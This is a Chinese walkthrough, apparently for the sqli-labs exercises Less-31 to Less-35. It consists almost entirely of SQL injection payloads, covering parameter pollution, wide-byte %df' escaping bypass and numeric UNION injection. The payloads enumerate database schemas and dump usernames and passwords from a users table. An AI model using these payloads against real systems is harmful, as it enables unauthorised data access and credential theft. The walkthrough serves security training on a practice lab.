Less-31
步骤一:查看数据库名
?id=1&id=-1")union select 1,database(),3 --+
步骤二:查看表名
?id=1&id=-1")union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
步骤三:查看users表中列名
?id=1&id=-1")union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
步骤四:查看users表中信息
?id=1&id=-1")union select 1,2,group_concat(id,username,password) from users --+
Less-32
宽字节注入
步骤一:查看数据库名
?id=-1%df%27%20union%20select%201,2,database()--+
步骤二:查看表名
?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
步骤三:查看users表中列名
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+
步骤四:查看users表中信息
?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+
Less-33
步骤一:查看数据库名
?id=-1%df%27%20union%20select%201,2,database()--+
步骤二:查看表名
?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
步骤三:查看users表中列名
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+
步骤四:查看users表中信息
?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+
Less-34
步骤一:抓包,发送到重放器
步骤二:查看数据库名
uname=-1%df'union select 1,database()#
步骤三:查看表名
uname=-1%df%27%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()#
步骤四:查看users表中列名
uname=-1%df'union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273#
步骤五:查看users表中信息
-1%df'union select 1,group_concat(id,username,password) from users #
Less-35
步骤一:查看数据库名
?id=-1 union select 1,2,database()--+
步骤二:查看表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
步骤三:查看users表中列名
?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+
步骤四:查看users表中信息
?id=-1 union select 1,group_concat(password,username),3 from users--+